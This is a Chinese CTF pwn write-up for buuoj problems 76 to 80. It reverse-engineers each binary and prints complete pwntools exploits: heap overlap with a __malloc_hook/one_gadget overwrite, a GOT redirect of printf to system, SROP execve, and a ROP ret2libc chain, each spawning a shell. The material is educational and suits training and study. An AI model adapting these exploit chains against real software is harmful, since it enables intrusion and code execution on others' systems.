

buuoj Pwn writeup 76-80

原创

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订阅专栏

76 0ctf_2017_babyheap

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbo
ILE						
Full RELRO	Canary found	NX enabled	PIE enabled	No RPATH	No RUNPATH	No Sy

菜单

堆。

```
int sub_CF4()
{
    puts("1. Allocate");
    puts("2. Fill");
    puts("3. Free");
    puts("4. Dump");
    puts("5. Exit");
    return printf("Command: ");
}
```

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allocate

```

void __fastcall allocate(Elf64_Sym *a1)
{
    int i; // [rsp+10h] [rbp-10h]
    int size; // [rsp+14h] [rbp-Ch]
    void *ptr; // [rsp+18h] [rbp-8h]

    for ( i = 0; i <= 15; ++i )
    {
        if ( !a1[i].flag )
        {
            printf("Size: ");
            size = sub_138C();
            if ( size > 0 )
            {
                if ( size > 4096 )
                    size = 4096;
                ptr = calloc(size, 1uLL);
                if ( !ptr )
                    exit(-1);
                a1[i].flag = 1;
                a1[i].size = size;
                a1[i].ptr = (unsigned __int64)ptr;
                printf("Allocate Index %d\n", (unsigned int)i);
            }
            return;
        }
    }
}

```

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堆的结构很明显了。要注意的是

flag是四个字节。

fill

```
__int64 __fastcall fill(Elf64_Sym *a1)
{
    __int64 result; // rax
    int v2; // [rsp+18h] [rbp-8h]
    int v3; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = sub_138C();
    v2 = result;
    if ( (int)result >= 0 && (int)result <= 15 )
    {
        result = a1[(int)result].flag;
        if ( (_DWORD)result == 1 )
        {
            printf("Size: ");
            result = sub_138C();
            v3 = result;
            if ( (int)result > 0 )
            {
                printf("Content: ");
                result = sub_11B2(a1[v2].ptr, v3);
            }
        }
    }
    return result;
}
```

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又是输入大小可以随便写。

又可以溢出。

free

```
__int64 __fastcall free_0(Elf64_Sym *a1)
{
    __int64 result; // rax
    int v2; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = sub_138C();
    v2 = result;
    if ( (int)result >= 0 && (int)result <= 15 )
    {
        result = a1[(int)result].flag;
        if ( (_DWORD)result == 1 )
        {
            a1[v2].flag = 0;
            a1[v2].size = 0LL;
            free((void *)a1[v2].ptr);
            result = (__int64)&a1[v2];
            *(_QWORD *)(result + 16) = 0LL;
        }
    }
    return result;
}
```

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free的还是很干净的。

dump

```
int __fastcall dump(__int64 a1)
{
    int result; // eax
    int v2; // [rsp+1Ch] [rbp-4h]

    printf("Index: ");
    result = sub_138C();
    v2 = result;
    if ( result >= 0 && result <= 15 )
    {
        result = *(_DWORD *) (24LL * result + a1);
        if ( result == 1 )
        {
            puts("Content: ");
            sub_130F(*(_QWORD *) (24LL * v2 + a1 + 16), *(_QWORD *) (24LL * v2 + a1 + 8));
            result = puts(byte_14F1);
        }
    }
    return result;
}
```

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平平无奇输出函数。

那么我们首先要考虑泄露libc的地址。泄露地址的方法只能去考虑unsorted bin，因为有溢出，可以完全仿照off by one，来制造overlapping，然后泄露地址啊，攻击malloc_hook，就下来了。

先来申请四个chunk。然后通过栈溢出改变chunk1的大小，然后释放掉，知道overlapping，再申请回来，manera地址就去了chunk2，并且此时chunk2被overlapping，没有释放，可以控制，而且在bins里面，调整他，让它进入fastbin，然后控制fd，攻击malloc_hook，从而get shell。

exp

```
# -*- coding: utf-8 -*-
from pwn import *

#r = remote('node3.buuoj.cn',29443)
r = process('./76')

context.log_level = "debug"

elf = ELF('./76')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
one_gadget = 0x4526a

def allocate(size):
    r.sendlineafter("Command: ", "1")
    r.sendlineafter("Size: ", str(size))

def fill(index, size, content):
    r.sendlineafter("Command: ", "2")
    r.sendlineafter("Index: ", str(index))
    r.sendlineafter("Size: ", str(size))
    r.sendafter("Content: ", content)

#这里的输入用的是read，防止'\n'对程序的影响，这里就直接send
```

```

def free(index):
    r.sendlineafter("Command: ", "3")
    r.sendlineafter("Index: ", str(index))

def dump(index):
    r.sendlineafter("Command: ", "4")
    r.sendlineafter("Index: ", str(index))

one_gadget = 0x4526a

allocate(0x60) #0
allocate(0x60) #1
allocate(0x60) #2
allocate(0x60) #3

payload = 'a' * 0x60 + p64(0) + '\xe1'

fill(0, 0x69, payload)
free(1)

allocate(0x60) #1
dump(2)

r.recvuntil("Content: \n")

malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget

print hex(malloc_hook)
print hex(libc_base)

allocate(0x60) #4
free(4)

payload = p64(malloc_hook - 0x23)
fill(2, 8, payload)

allocate(0x60) #4
allocate(0x60) #5

payload = 'a' * 0x13 + p64(one_gadget)
fill(5, len(payload), payload)

gdb.attach(r)

r.sendlineafter("Command: ", "1")
r.sendlineafter("Size: ", "32")

r.interactive()

```

77 [BJDCTF 2nd]secret

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbo
ls	FORTIFY Fortified		Fortifiable FILE			
Full RELRO	Canary found	NX enabled	PIE enabled	No RPATH	No RUNPATH	No Sy
mbols	Yes 0	2	./76			

```

1 unsigned __int64 sub_46A3AF()
2 {
3     unsigned int i; // [rsp+Ch] [rbp-54h]
4     char s[72]; // [rsp+10h] [rbp-50h] BYREF
5     unsigned __int64 v3; // [rsp+58h] [rbp-8h]
6
7     v3 = __readfsqword(0x28u);
8     *(_DWORD *)off_46D090 = 10000;
9     for ( i = 0; i <= 9; ++i )
10         buf[i] = 0;
11     setvbuf(stdout, 0LL, 2, 0LL);
12     setvbuf(stdin, 0LL, 2, 0LL);
13     puts("@=====");
14     sub_4011C2("# What's your name? _____ #", 20LL);
15     buf[(int)(read(0, buf, 0x16uLL) - 1)] = 0;
16     sprintf(s, "# Welcome %-16s #", buf);
17     puts(s);
18     puts("#=====");
19     puts("# I have toooooo many secrets > #");
20     puts("# Can u find them _< #");
21     puts("#=====");
22     return __readfsqword(0x28u) ^ v3;
23 }

```

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```


if ( (unsigned int)sub_40136D() )
    sub_401301();

```

这里有个判断，会退出程序。

但是判断条件是什么反编译不出来，因为太长了。这也是第一次见。

 **警告** ×

 **Decompilation failure:**
40136D: too big function

Please refer to the manual to find appropriate actions

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那就得看汇编。

```

push    rbp
mov     rbp, rsp
mov     eax, 0
call   sub_46A329
mov     eax, cs:dword_46D0BC
cmp     eax, 476Bh
jz      short loc_401392
mov     eax, 0FFFFFFFFh
jmp     loc_46A327

```

loc_401392: ; CODE XREF: sub_40136D+19↑j

```

mov     eax, 0
call   sub_40128E
mov     eax, 0
call   sub_46A329
mov     eax, cs:dword_46D0BC
cmp     eax, 2D38h
jz      short loc_4013BD
mov     eax, 0FFFFFFFFh
jmp     loc_46A327

```

loc_4013BD: ; CODE XREF: sub_40136D+44↑j

```

mov     eax, 0
call   sub_40128E
mov     eax, 0
call   sub_46A329
mov     eax, cs:dword_46D0BC

```

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会

发现这里面的东西，都是一个逻辑。

他会做比较，把40d68c地方的东西拿出来跟它那些数字做比较，比较成功，会进入下一个比较，不然就直接返回-1，然后执行退出的程序。都比较过了之后，就返回0，然后执行cat flag。但是你会发现，它有10000个数字，那显然这正路就没了。

```

puts( @=====@ );
sub_4011C2("# What's your name? _____ #", 20LL);
buf[(int)(read(0, buf, 0x16uLL) - 1)] = 0;
sprintf(s, "# Welcome %-16s #", buf);
puts(s);

```

那么我们发现这里有个溢出，通过这个溢出我们能控制些什么呢？

```

data:00000000046D080 buf db 'Y0ur_N@me',0 ; DATA XREF: sub_401301+39↑o
data:00000000046D080 ; sub_46A3AF+32↑o ...
data:00000000046D08A align 10h
data:00000000046D090 off_46D090 dq offset unk_46D0C0 ; DATA XREF: sub_40128E+23↑r
data:00000000046D090 ; sub_46A329+5A↑r

```

46d090，这里放着的是你还需要猜的次数。

```

00000000004012A3      xor     eax, eax
00000000004012A5      lea    rdi, s          ; "#=====#"
00000000004012AC      call   _puts
00000000004012B1      mov    rax, cs:off_46D090
00000000004012B8      mov    edx, [rax]
00000000004012BA      lea    rax, [rbp+s]
00000000004012BE      lea    rsi, format     ; "# GOOD JOB GUESS %d TIMES TO WIN #"
00000000004012C5      mov    rdi, rax        ; s
00000000004012C8      mov    eax, 0
00000000004012CD      call   _sprintf
00000000004012D2      lea    rax, [rbp+s]
00000000004012D6      mov    rdi, rax        ; s
00000000004012D9      call   _puts
00000000004012DE      lea    rdi, s          ; "#=====#"
00000000004012E5      call   puts

```

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```

:.plt:000000000046D008 qword_46D008 dq 0 ; DATA XREF: sub_401020↑r
:.plt:000000000046D010 qword_46D010 dq 0 ; DATA XREF: sub_401020+6↑r
:.plt:000000000046D018 off_46D018 dq offset puts ; DATA XREF: _puts↑r
:.plt:000000000046D020 off_46D020 dq offset write ; DATA XREF: _write↑r
:.plt:000000000046D028 off_46D028 dq offset strlen ; DATA XREF: _strlen↑r
:.plt:000000000046D030 off_46D030 dq offset __stack_chk_fail ; DATA XREF: __stack_chk_fail↑
:.plt:000000000046D038 off_46D038 dq offset system ; DATA XREF: _system↑r
:.plt:000000000046D040 off_46D040 dq offset printf ; DATA XREF: _printf↑r
:.plt:000000000046D048 off_46D048 dq offset read ; DATA XREF: _read↑r
:.plt:000000000046D050 off_46D050 dq offset setvbuf ; DATA XREF: _setvbuf↑r
:.plt:000000000046D058 off_46D058 dq offset atoi ; DATA XREF: _atoi↑r
:.plt:000000000046D060 off_46D060 dq offset sprintf ; DATA XREF: _sprintf↑r
:.plt:000000000046D068 off_46D068 dq offset exit ; DATA XREF: _exit↑r
:.plt:000000000046D068 got plt ends

```

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然后发现，printf的got表跟system的离得很近.....

这说实话我也是参考别人的wp，这他是咋发现的.....

那我们就通过溢出，把那个地方的值改成printf的got表地址，然后开始答题，答对就减1，然后减减减，减去16之后，也就是答对15，答错1，然后就把printf的got改成了system的plt。

我直呼好家伙。

```

#coding:utf8
from pwn import *

r = remote('node3.buuoj.cn',25929)
elf = ELF('./77')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
r.sendafter("What's your name?",payload)
for x in answer:
    r.sendlineafter('Secret:',str(x))
r.sendlineafter('Secret:','1')

r.interactive()

```

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保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols
Partial	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	68 Symbols
No	0	0	./78			

```

{
    signed __int64 v0; // rax
    char buf[16]; // [rsp+0h] [rbp-10h] BYREF

    v0 = sys_read(0, buf, 0x400uLL);
    return sys_write(1u, buf, 0x30uLL);
}

```

平平无奇栈溢出。

```

00000000004004D6      push    rbp
00000000004004D7      mov     rbp, rsp
00000000004004DA      mov     rax, 0Fh
00000000004004E1      retn

```

还给了gadgets

这Of系统调用的话是sigreturn，那么这道题很明显了，就是SROP。

因为通过SROP我们可以调用系统调用，execve，但是我们需要参数'/bin/sh'，我们可以往栈里面输入这个字符串，但是我们需要泄露栈的地址，也就是泄露'/bin/sh'的地址。

我们发现下面有个write函数，那么思路就很明确了，先通过write，输出栈上的一些数据，从而获得栈的地址，然后通过SROP，来get shell。

```

pwndbg> tele 0x7ffc17d14960
00:0000 | rsi      0x7ffc17d14960 ← 0x68732f6e69622f /* '/bin/sh' */
01:0008 |         0x7ffc17d14968 ← 0xa /* '\n' */
02:0010 | rbp rsp  0x7ffc17d14970 → 0x7ffc17d14990 → 0x400540 (__libc_csu_init) ← push    r15
03:0018 |         0x7ffc17d14978 → 0x400536 (main+25) ← nop
04:0020 |         0x7ffc17d14980 → 0x7ffc17d14a78 → 0x7ffc17d14fe5 ← 0x4553550038372f2e /*
'/78' */
05:0028 |         0x7ffc17d14988 ← 0x100000000
06:0030 |         0x7ffc17d14990 → 0x400540 (__libc_csu_init) ← push    r15
07:0038 |         0x7ffc17d14998 → 0x7f03a230e09b (__libc_start_main+235) ← mov     edi, eax
pwndbg>

```

因为

rsp那里我们要填返回地址进去，所以我们就泄露rsp+0x10的数据，泄露出来之后减去他们的之间的差值，就可以直接得到'/bin/sh'的地址。

```

from pwn import *
from LibcSearcher import *

r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data          :r.send(data)
sa      = lambda delim,data    :r.sendafter(delim, data)
sl      = lambda data          :r.sendline(data)
sla     = lambda delim,data    :r.sendlineafter(delim, data)
sea     = lambda delim,data    :r.sendafter(delim, data)
rc      = lambda numb=4096    :r.recv(numb)
r1      = lambda              :r.recvline()
ru      = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32    = lambda data         :u32(data.ljust(4, '\0'))
uu64    = lambda data         :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr  :r.info(tag + ': {:#x}'.format(addr))

sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你会发现这里为什么read的地址跟平常我们写的在ebp之后不一样。
#这是因为这个函数调用规则不是我们平常的_cedeL，这个函数最后一句直接就是retn，而我们平常见到的是Level | ret

sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools 功能就是强大

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)

r.interactive()

```

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保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbo
ls	FORTIFY Fortified	Fortifiable	FILE			
No RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	67 Sy
mbo1s No	0	2	./79			

```

ssize_t vulnerable_function()
{
    char buf[128]; // [rsp+0h] [rbp-80h] BYREF

    write(1, "Input:\n", 7uLL);
    return read(0, buf, 0x200uLL);
}

```

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平平无奇栈溢出。

```

from pwn import*

r=remote('node3.buuoj.cn',26822)
elf=ELF('./79')

libc = ELF('./64/libc-2.23.so')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

write_got=elf.got['write']
write_plt=elf.plt['write']

payload='a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)

libc_base = write_addr-libc.sym['write']

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()

payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
r.sendline(payload)
r.interactive()

```

问为什么那个地方r15传参也可以，那是因为调用write函数的时候rdx参数是0x200。

```

RAX  0x1
RBX  0x0
RCX  0x7f85e5a39260 (read+16) ← cmp    rax, -0xfff
RDX  0x200
RDI  0x0
RSI  0x600a58 (write@got.plt) → 0x7f85e5a392b0 (write) ← cmp    dword ptr [rip + 0x2d24
0
R8   0x4006c0 (__libc_csu_fini) ← ret
R9   0x7f85e5d1caf0 (_dl_fini) ← push   rbp
R10  0x37b
R11  0x246
R12  0x4004f0 (_start) ← xor     ebp, ebp
R13  0x7ffccec2f210 ← 0x1
R14  0x0
R15  0x8
RBP  0x6161616161616161 ('aaaaaaaa')
RSP  0x7ffccec2f148 → 0x40061a (main) ← push   rbp

```

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80 hitcontraining_bamboobox

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	Symbols
ls	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	Canary found	NX enabled	No PIE	No RPATH	No RUNPATH	89 Symbols
mbols Yes	0	4	./80			

后门有了。

```

void __noreturn magic()
{
    int fd; // [rsp+Ch] [rbp-74h]
    char buf[104]; // [rsp+10h] [rbp-70h] BYREF
    unsigned __int64 v2; // [rsp+78h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    fd = open("/home/bamboobox/flag", 0);
    read(fd, buf, 0x64uLL);
    close(fd);
    printf("%s", buf);
    exit(0);
}

```

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菜单堆

```

int menu()
{
    puts("-----");
    puts("Bamboobox Menu");
    puts("-----");
    puts("1.show the items in the box");
    puts("2.add a new item");
    puts("3.change the item in the box");
    puts("4.remove the item in the box");
    puts("5.exit");
    puts("-----");
    return printf("Your choice:");
}

```

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增删改查，题应该不难。

```

v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )

```

在程序开始之前有一段初始化。

v4存着个地址，0x10的数组，然后里面两个函数地址，一个输出开始信息，输出结束信息。

show

```

int show_item()
{
    int i; // [rsp+Ch] [rbp-4h]

    if ( !num )
        return puts("No item in the box");
    for ( i = 0; i <= 99; ++i )
    {
        if ( *((_QWORD *)&unk_6020C8 + 2 * i )
            printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
    }
    return puts(byte_401089);
}

```

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平平无奇输出函数。

add

```

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
    puts("the box is full");
}
else
{
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( !v2 )
    {
        puts("invaield length");
        return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
        if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
        {
            *((_DWORD *)&itemlist + 4 * i) = v2;
            *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
            printf("Please enter the name of item:");
            *(_BYTE *)*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2) = 0;
            ++num;
            return 0LL;
        }
    }
}
return 0LL;

```

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chunk的地址，跟大小都在bss段，划线处是一个明显的off by null。

change

```

unsigned __int64 change_item()
{
    int v1; // [rsp+4h] [rbp-2Ch]
    int v2; // [rsp+8h] [rbp-28h]
    char buf[16]; // [rsp+10h] [rbp-20h] BYREF
    char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
    unsigned __int64 v5; // [rsp+28h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    if ( num )
    {
        printf("Please enter the index of item:");
        read(0, buf, 8uLL);
        v1 = atoi(buf);
        if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
        {
            printf("Please enter the length of item name:");
            read(0, nptr, 8uLL);
            v2 = atoi(nptr);
            printf("Please enter the new name of the item:");
            *(_BYTE *)*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2) = 0;
        }
        else
        {
            puts("invaield index");
        }
    }
    else
    {
        puts("No item in the box");
    }
}

```

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大小随便输入，就可以造成溢出。

remove

```
unsigned __int64 remove_item()
{
    int v1; // [rsp+Ch] [rbp-14h]
    char buf[8]; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    if ( num )
    {
        printf("Please enter the index of item:");
        read(0, buf, 8uLL);
        v1 = atoi(buf);
        if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
        {
            free(*((void **)&unk_6020C8 + 2 * v1));
            *((_QWORD *)&unk_6020C8 + 2 * v1) = 0LL;
            *((_DWORD *)&itemlist + 4 * v1) = 0;
            puts("remove successful!!");
            --num;
        }
        else
        {
            puts("invaild index");
        }
    }
    else
    {
        puts("No item in the box");
    }
}
```

平平无奇free函数，清理的也很到位。

那么经过我们分析，有两个漏洞点，一个off by one，一个溢出，但是我们其实仅仅利用那个溢出就好了。

利用溢出还是制造overlapping，然后泄露地址，然后直接攻击malloc_hook，把后门地址写上，还省得用realloc去抬栈。

但是失败了.....gdb调试打不开那个文件，可能服务器没有吧，那就还是规规矩矩one_gadget吧。

```

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
    rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
    [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
    [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
    [rsp+0x70] == NULL
wuangwuangwuangwuang-PC:~/Desktop$

```

```

00:0000 rsp 0x7fff7026c0c8 -- 0x400a74 (add_item+189) -- mov rdx, rax
01:0008 0x7fff7026c0d0 -- 0x67026c200
02:0010 0x7fff7026c0d8 -- 0x3c /* '<' */
03:0018 0x7fff7026c0e0 -- 0xa3036 /* '0\n' */
04:0020 0x7fff7026c0e8 -- 0xaf4b9f5ec03c8d00
05:0028 rbp 0x7fff7026c0f0 -- 0x400ee0 (__libc_csu_init) -- push r15
06:0030 0x7fff7026c0f8 -- 0x400e95 (main+222) -- jmp 0x400ed3
07:0038 0x7fff7026c100 -- 0x200400ee0
08:0040 0x7fff7026c108 -- 0x999010 -- 0x400896 (hello_message) -- push rbp
09:0048 0x7fff7026c110 -- 0x7fff70260aa32 -- 0x0
0a:0050 0x7fff7026c118 -- 0xaf4b9f5ec03c8d00
0b:0058 0x7fff7026c120 -- 0x400ee0 (__libc_csu_init) -- push r15
0c:0060 0x7fff7026c128 -- 0x7f2988aab830 (__libc_start_main+240) -- mov edi, eax
0d:0068 0x7fff7026c130 -- 0x0
0e:0070 0x7fff7026c138 -- 0x7fff7026cfd6 -- 0x4553550030382f2e /* './
0f:0078 0x7fff7026c140 -- 0x100000000
10:0080 0x7fff7026c148 -- 0x400db7 (main) -- push rbp
11:0088 0x7fff7026c150 -- 0x0
12:0090 0x7fff7026c158 -- 0x88ab803c1f59fd80
13:0098 0x7fff7026c160 -- 0x4007a0 (_start) -- xor ebp, ebp
14:00a0 0x7fff7026c168 -- 0x7fff7026c200 -- 0x1

```

```

00:0000| 0x7ffc69e58d50 -- 0x0
... |
02:0010| 0x7ffc69e58d60 -- 0x7ffc69e58d90 -- 0x7ffc69e58dc0 -- 0x4
)| -- push r15
03:0018| rsp 0x7ffc69e58d68 -- 0x400a74 (add_item+189) -- mov rdx,
04:0020| 0x7ffc69e58d70 -- 0x669e58ea0
05:0028| 0x7ffc69e58d78 -- 0x3c /* '<' */
06:0030| 0x7ffc69e58d80 -- 0xa3036 /* '0\n' */
07:0038| 0x7ffc69e58d88 -- 0x1bb87c8a43b90c00

```

rsp上方有个0，那么我们就通过

realloc把栈抬起来。

```

.text:00000000000846C0      push r15 ; Alternati
.text:00000000000846C2      push r14
.text:00000000000846C4      push r13
.text:00000000000846C6      push r12
.text:00000000000846C8      mov r13, rsi
.text:00000000000846CB      push rbp
.text:00000000000846CC      push rbx
.text:00000000000846CD      mov rbx, rdi
.text:00000000000846D0      sub rsp, 38h
.text:00000000000846D4      mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB      mov rax, [rax]
.text:00000000000846DE      test rax, rax
.text:00000000000846E1      jnz loc_848E8
.text:00000000000846E7      test rsi, rsi
.text:00000000000846EA      jnz short loc_846F5
.text:00000000000846EC      test rdi, rdi
.text:00000000000846EF      jnz loc_84960
.text:00000000000846F5      loc_846F5: ; CODE XREF
.text:00000000000846F5      test rbx, rbx
.text:00000000000846F8      jz loc_84A10
.text:00000000000846FE      mov rax, [rbx-8]
.text:0000000000084702      lea r14, [rbx-10h]
.text:0000000000084706      mov r15, rax
.text:0000000000084709      mov rcx, rax
.text:000000000008470C      and r15, 0FFFFFFFFFFFFFFF8h

```

假如我们现在要是去执行realloc+12的地方，那么最后执行完rsp + 30的地方就会是0，然后就好了。

exp

```
from pwn import*

r=remote('node3.buuoj.cn',25879)
#r = process('./80')
elf=ELF('./80')

libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')

context.log_level = "debug"

def show():
    r.sendlineafter("Your choice:", "1")

def add(size, name):
    r.sendlineafter("Your choice:", "2")
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendlineafter("Please enter the name of item:", name)

def change(index, size, name):
    r.sendlineafter("Your choice:", "3")
    r.sendlineafter("Please enter the index of item:", str(index))
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendlineafter("Please enter the new name of the item:", name)

def remove(index):
    r.sendlineafter("Your choice:", "4")
    r.sendlineafter("Please enter the index of item:", str(index))

system_addr = 0x400d49
one_gadget = 0x4526a

add(0x60, 'aaaa') #0
add(0x60, 'bbbb') #1
add(0x60, 'cccc') #2
add(0x60, 'dddd') #3

payload = 'b' * 0x68 + '\xe1'
change(0, 0x69, payload)
remove(1)

add(0x60, 'bbbb') #1
show()

r.recvuntil("2 : ")

malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget
#gdb.attach(r)

print hex(malloc_hook)
print hex(libc_base)

add(0x60, 'eeee') #4
remove(4)
```

```
remove(4)

payload = p64(malloc_hook - 0x23)
change(2, 8, payload)
add(0x60, 'eeee') #4

payload = 'e' * 0xb + p64(one_gadget) + p64(realloc + 12)
add(0x60, payload) #5

#gdb.attach(r)

r.sendlineafter("Your choice:", "2")
r.sendlineafter("Please enter the length of item name:", '60')

r.interactive()
```

当然这道题也有很多解，比如因为它没有开PIE，所以我们可以直接知道ptr，也就是指针存储的位置，可以伪造chunk，然后用堆溢出来制造unlink，控制bss，从而劫持got表。